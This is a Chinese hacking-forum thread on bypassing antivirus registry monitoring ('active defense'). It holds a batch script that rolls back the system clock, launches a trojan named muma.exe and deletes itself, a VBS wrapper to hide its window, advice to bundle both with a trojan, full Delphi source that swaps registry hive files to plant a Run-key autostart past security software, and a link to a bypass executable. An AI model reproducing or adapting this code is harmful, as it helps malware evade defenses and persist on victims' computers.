63 123
发新话题
打印

[原创]突破主动防御之注册表监控篇(已更新)

写一个bat也是可以的 ,如1.bat
set date=%date%

date 1980-01-01

date 1980-01-01

ping 127.0.0.1 -n 15 & start %systemroot%\system32\wbem\muma.exe
ping 127.0.0.1 -n 10 & ping 127.0.0.1
date %date%
del muma.exe
del 1.bat /f /q
再写一个vbs用来执行1.bat,这样就不会育黑色的dos窗口了
set hehe=wscript.createobject("wscript.shell")
hehe.run "1.bat",0
然后再把这2个文件和木马做成一个自释放,嘿嘿.........

TOP

NOD没有反映。如果有源码就好了

TOP

看到网上一份delphi的代码,功能跟这个差不多,转发一下.
复制内容到剪贴板
代码:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
procedure SetPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV ='SeBackupPrivilege';
PRIV_SIZE = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:DWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;

procedure SetPrivilege2;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
begin
TP.PrivilegeCount:=1;
TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid:=lpLuid;
AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;

procedure SetPrivilege3;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeTakeOwnershipPrivilege',lpLuid))then
begin
TP.PrivilegeCount:=1;
TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid:=lpLuid;
AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;

function addreg(key:Hkey; subkey,name,value:string):boolean; //设置键值
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var
SKey: HKEY;
begin
SetPrivilege;
// reg save "hkcu\software\microsoft\windows nt\currentversion" 1.hiv
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end;
if SKey <> 0 then
try
Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
RegCloseKey(SKey);
end;
end;

procedure regstore2(key:integer;subkey,hfile:string);
var
key2: hkey;
begin
SetPrivilege2;
if key=1 then
begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;

procedure regstore(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar(&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;),&#39;c:\1.hiv&#39;);
RegCreateKey(HKEY_CURRENT_USER,PChar(&#39;Software\fengzi&#39;),key);
for i := 1 to 5 do regstore2(1,&#39;Software\fengzi&#39;,&#39;c:\1.hiv&#39;);
addreg(HKEY_CURRENT_USER,&#39;Software\fengzi&#39;,&#39;IeServer&#39;,exefile);
SaveKey2(1,PChar(&#39;Software\fengzi&#39;),&#39;c:\2.hiv&#39;);
for i := 1 to 5 do regstore2(2,PChar(&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;),&#39;c:\2.hiv&#39;);
RegDeleteKey(HKEY_CURRENT_USER,&#39;Software\fengzi&#39;);
RegCloseKey(key);
DeleteFile(&#39;c:\1.hiv&#39;);
DeleteFile(&#39;c:\2.hiv&#39;);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
regstore(&#39;c:\1.exe&#39;);
end;

end.

TOP

特殊方法不就是上层目录,日,搞得这么神秘
QQ:838468959

TOP

RegRestoreKey
没人 上报 卡巴大叔嘛?

TOP

过主动防御是目前棘手的问题,希望楼主叫你朋友把代码公布出来,好让我们学习不?

TOP

嘿嘿,我也做了一个一样的玩意~



原帖位置:http://forum.eviloctal.com/read-htm-tid-27322.html

目前主动防御的概念已经深入人心,许多杀毒软件、软件防火以及HIPS都具有了注册表监控功能,防止自启动项以及IE相关键值被修改,对防范病毒木马以及流氓软件等恶意程序起到了不小的作用。但是现有的注册表监控并非无懈可击,我们仍然可以绕过注册表监控修改注册表。

绕过注册表监控的方法不止一种,应根据不同情况灵活运用。 除了本演示程序使用的操作HIVE文件修改注册表的方法,我们还可以写驱动解除注册表监控程序的钩子,或者直接调用CmXXXXX等未导出函数来操作注册表等。

测试了卡巴6、瑞星2007、GSS、江民2007等含有注册表监控功能的安全软件,我写的这个演示程序均可以突破他们成功修改注册表。

本程序仅作科普以及安全警示之用,旨在提高大家安全意识以及选择更好的安全产品。勿将程序中的方法用于非法用途。





上次xyzreg来南宁,没去看他,现在按照他的原理写的这个玩意···深表歉意,哈哈

感谢baiyuanfan、Vxk等人的大力支持和无私奉献!


晕死,附件传不上来,贴链接吧

http://www.coolseep2p.mobi/BypassRegMon_SteelKernelGroup.exe

TOP

有些软件是对注册表启动项进行监视的,就算能够过监控写进去,那些监控软件也会对注册表启动项进行对比,发现新的项之后,会提示是否删除的。360安全卫士就是这样。我用hiv过了k8和360,但是过了一会儿,360提示有未知启动项。

TOP

世界真是小,在哪里都遇上同样的面孔! 其实也不必公布源码的,用IDA就很容易知道了。xyzreg,我发觉你在这里公布的信息,比在驱动网的多啊。。哈哈

TOP

恩~~你好强~我看过你的博客了,其中ZwSetSystemInformation是你提醒我的,我也实现过了还原卡巴所有的SSDT, 非常感谢您对技术的公开,这才是进步的源泉, 如你说想,卡巴新版已经封了漏洞,可喜可贺!

TOP

这个现在很多都过不了了

TOP

感觉还是直接修复SSDT比较好用
love hack

TOP

9494  应该把源代码丢出来的

TOP

 63 123
发新话题